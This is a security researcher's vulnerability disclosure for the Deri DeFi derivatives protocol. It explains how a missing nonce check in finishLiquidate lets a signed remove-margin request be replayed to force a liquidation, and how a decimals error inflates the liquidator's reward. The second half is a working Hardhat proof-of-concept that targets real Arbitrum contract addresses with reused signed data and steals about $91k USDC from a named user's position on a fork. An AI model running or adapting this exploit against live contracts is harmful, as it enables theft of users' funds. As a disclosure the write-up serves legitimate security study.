I recently discovered a critical vulnerability in **Deri **which allows an attacker to forcefully liquidate a trader’s position and steal his precious computer coins from his margin vault.
Weaknesses: 1) signature replay 2) incorrect decimals
Tell us more …
Deri is a derivatives protocol deployed across zksync Era, Linea, Arbitrum, Polygon ZkEVM, and Scroll with a TVL of ~$3mm.
Users interact with the protocol by making a request to add/remove margin, trade, remove liquidity, etc. through the Gateway
contract.
Our example focuses on when a user intends to remove some, or all, of his margin and calls GatewayImplementation::requestRemoveMargin
which emits an event that is picked up by an agent, which validates and signs the request, then calls GatewayImplementation::finishRemoveMargin
with the signed event data and accompanying signature to finalize the request and alter the user's position.
There are three "finishing" calls that are used to adjust the user's position: finishRemoveMargin
, finishUpdateLiquidity
, and finishLiquidate
. Both finishRemoveMargin
and finishUpdateLiquidity
call an internal function _checkRequestId
that checks and increments a nonce to prevent a replay attack utilizing the same signature and event data, but ...
The Bug …
... this check is missing from finishLiquidate
since at the end of the execution flow it will revert if this position NFT had already been burned (which would happen on a successful liquidation).
What if a user called requestRemoveMargin
and we used that same eventData
and signature
provided by the agent to call finishLiquidate
to force liquidate the user with a previously signed request?
Important to note that the initial requestLiquidate
function is protected and requires a whitelisted liquidator as the caller (which we are not, but we bypass this anyway by calling the finishLiquidate
function directly).
The finishLiquidate
function decodes the event data with the following struct:
IGateway.VarOnExecuteLiquidate memory v = abi.decode(eventData, (IGateway.VarOnExecuteLiquidate));
struct VarOnExecuteLiquidate {
uint256 requestId;
uint256 pTokenId;
int256 cumulativePnlOnEngine;
}
… whereas finishRemoveMargin
decodes the event data as follows:
IGateway.VarOnExecuteRemoveMargin memory v = abi.decode(eventData, (IGateway.VarOnExecuteRemoveMargin));
struct VarOnExecuteRemoveMargin {
uint256 requestId;
uint256 pTokenId;
uint256 requiredMargin;
int256 cumulativePnlOnEngine;
uint256 bAmountToRemove;
}
Notice the mismatch?
The decoding process to the VarOnExecuteLiquidate
struct will erroneously return the uint256 requiredMargin
value as the int256 cumulativePnlOnEngine
value which was supplied within eventData
that was used by the initial finishRemoveMargin
call made by the agent. Since this function already verified that the liquidation has been signed off on (since we provided valid signed event data and a signature), there are no checks and balances going forward other than ensuring that a liquidator only receives a maxLiquidation
reward of 500 ETH
instead of 500 USDC
. Seems a bit large don’t you think? Always check your decimals anon …
Also note that now we have successfully modified the critical state variable of data.lastCumulativePnlOnEngine
to be grossly inaccurate which immediately compromises the integrity of the protocol for all users. As an example, in the exploit simulation the variable changes from -35169462977677968445139
to 15206304214539988627172
!
Bypassing the maxLiquidationReward
... on L667 in GatewayImplementation::finishLiquidate
the diff is calculated as int256 diff = v.cumulativePnlOnEngine.minusUnchecked(data.lastCumulativePnlOnEngine)
which equals 15206304214539988627172 - (-35169462977677968445139) = 50375767192217957072311
and then scales down to match the USDC
collateral bToken
of six decimals giving us 50375767192
or 50,375 USDC
.
Note: The correct calculation should actually be -35169462977677968445139 - (-35169462977677968445139) = 0 USDC
.
The function then transfers all bTokens
from an Aave vault into the Gateway
contract and then calculates the (incorrect) total LP's PnL by liquidating this account int256 lpPnl = b0AmountIn.utoi() + data.b0Amount
which gives us 133567538050 + 50375767192 = 183943305242
or 183,943 USDC
as lpPnL
.
If/else at L692
calculates the minimum of ((lpPnL - minLiquidationReward( * liquidationRewardCutRatio / 1e18 + minLiquidationReward), maxLiquidationReward)
which reduces and rescales our reward to 1e6
giving us 91083767663
or $91k USDC
and promptly transfers this to msg.sender
.
Additionally, on L723
the function rescales the fake lpPnL
to e18
and adds it to the state variable data.cumulativePnLOnGateway
with a value of 58577e18
to a new value of 242520e18
... a 314% increase in PnL that doesn't exist! Not good.
Damage
Total user funds at risk across all chains I estimate at $500k to $1.5mm - not to mention collateral damage from the inconsistent state with the now incorrect cumulativePnlOnEngine
. The max bounty for this project was low at $10k (which they later bumped to $20k) so it did not warrant further time on my end to conduct a full damage assessment.
PoC below demonstrates a forced $91k USDC liquidation on Arbitrum with all profits going to the attacker.
Peckshield takes the L …
Pro tip: Always get more than one audit.
0xriptide
const { ethers } = require("hardhat");
// 0xriptide - forced liquidator
//
// arbitrum forking at 184652290
//
// Severity: Critical
//
// Description:
// Attacker can liquidate certain positions by reusing signatures and events leading to theft of user funds
// also bypasses gated liquidator requirement
//
// Affects all chains where Deri v4 is deployed (zksync Era, linea, arbitrum, polygon ZkEVM, scroll)
//
// Exploit:
// 1) Watch for offchain agent `0x01737317c960Bc5cC67E7D3f802ABF077e65559E` to call `finishRemoveMargin` on `gateway contract`
// 2) Reuse provided `eventData` and `signature` to call `finishLiquidate` on `gateway`
// 3) Profit
//
// Weakness:
// 1) `gateway:L662` lacks the `_checkRequestId` check which allows re-use of signatures and eventData
// 2) maxLiquidationReward scaled at 1e18 for 1e6 token
//
describe("PoC - Unauthorized liquidations", function () {
it("big usdc liq 91k profit", async function () {
const gateway = "0x7c4a640461427c310a710d367c2ba8c535a7ef81";
const DPT = "0x3330664fE007463DDc859830b2D96380440C3a24";
const aaveVault = "0x724dc807b04555b71ed48a6896b6F41593b8C637";
const eventData = "0x000000000000000000000000000011960000000000000000000000000000003402000000000000000000a4b1000000000000000000000000000000000000001a00000000000000000000000000000000000000000000033855dcfcabe55feee4fffffffffffffffffffffffffffffffffffffffffffff88d75a7cd9a4cdd712d0000000000000000000000000000000000000000000000000000000005f5e100";
const signature = "0x08a4d46c4a18a4d8fce7551f19bf1b9bda19a555009039a223bd91003b45d3cd4325f06ce14d57d285a2538a58fa5a96134292a5df3ca1cf5b435cfdbcd4e51e1b";
const pTokenId = "904625697166532776746709938750905788301606140756549057766654088833765736474";
const bToken = "0xaf88d065e77c8cC2239327C5EDb3A432268e5831"; //USDC
const user = "0xcd384a71b666DE23A7A6380eDd8A2e88Bb5a5373";
const [attacker] = await ethers.getSigners();
const gatewayContract = await hre.ethers.getContractAt("IGateway", gateway);
const DPTContract = await hre.ethers.getContractAt("IDToken", DPT);
const bTokenContract = await hre.ethers.getContractAt("IERC20", bToken);
console.log("Gateway State: ", await gatewayContract.getGatewayState());
console.log("Td State: ", await gatewayContract.getTdState(pTokenId));
var nft0 = await DPTContract.balanceOf(user);
var user0 = await bTokenContract.balanceOf(user);
var vault0 = await bTokenContract.balanceOf(aaveVault);
var attacker0 = await bTokenContract.balanceOf(attacker.address);
console.log("NFT balance of user: ", nft0);
console.log("bToken balance of user: ", user0);
console.log("bToken balance of aaveVault (aArbUSDCn): ", vault0);
console.log("bToken balance of attacker: ", attacker0);
console.log("forcing liquidation and burning position NFT...");
await gatewayContract.finishLiquidate(eventData, signature);
console.log("Gateway State: ", await gatewayContract.getGatewayState());
console.log("Gateway Param: ", await gatewayContract.getGatewayParam());
console.log("Td State: ", await gatewayContract.getTdState(pTokenId));
var nft1 = await DPTContract.balanceOf(user);
var user1 = await bTokenContract.balanceOf(user);
var vault1 = await bTokenContract.balanceOf(aaveVault);
var attacker1 = await bTokenContract.balanceOf(attacker.address);
console.log("NFT balance of user: ", nft1);
console.log("bToken balance of user: ", user1);
console.log("bToken balance of aaveVault (aArbUSDCn): ", vault1);
console.log("bToken balance of attacker: ", attacker1);
console.log("*diffs*");
console.log("\nNFT decrease by: ", nft0 - nft1);
console.log("bToken balance of user change: ", user1 - user0);
console.log("bToken balance of aaveVault (aArbUSDCn) change: ", vault1 - vault0);
console.log("bToken balance of attacker change: ", attacker1 - attacker0);
console.log("\nAttacker profit: $", ethers.utils.formatUnits(attacker1 - attacker0,6));
});
});